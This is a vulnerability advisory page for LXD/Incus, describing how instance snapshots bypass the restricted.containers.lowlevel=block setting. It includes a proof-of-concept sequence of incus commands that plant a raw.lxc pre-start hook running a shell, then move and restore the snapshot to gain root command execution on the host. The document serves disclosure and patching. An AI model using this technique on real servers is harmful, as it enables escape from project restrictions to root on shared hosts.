GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv Summary Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Details Instance snapshots ignore the restricted.containers.lowlevel=block setting;
Published Nov 6, 2026
Affected packages
github.com/canonical/lxd
- Ecosystem
- Go
- Affected
- < 0.0.0-20260630083100-c5184be310b1
- Fixed in
- 0.0.0-20260630083100-c5184be310b1
- Check
go list -m github.com/canonical/lxd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxcImpact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Credited to antifob, stgraber.
References
- https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
- https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
- https://nvd.nist.gov/vuln/detail/CVE-2026-48751
- https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
- https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
- https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
- https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
- https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://github.com/advisories/GHSA-47w9-6r3f-938g
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-28385
LXD: SSRF via image import from URL allows internal network probing by authenticated users
medium5.0Nov 6, 2026CVE-2026-9639
LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
medium6.5Nov 6, 2026GHSA-7mr3-28h5-m5vx
LXD has project restriction bypass for custom volume copy across projects
high7.7Nov 6, 2026GHSA-9j25-mm2h-2f76
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
critical9.9Nov 6, 2026GHSA-fmc8-p6q7-75cc
LXD has argument injection in backup compression algorithm leading to AFW and ACE
critical9.9Nov 6, 2026GHSA-jpf8-86f3-wp38
LXD has arbitrary file read+write on host via templates/ symlink in malicious image
critical9.9Nov 6, 2026
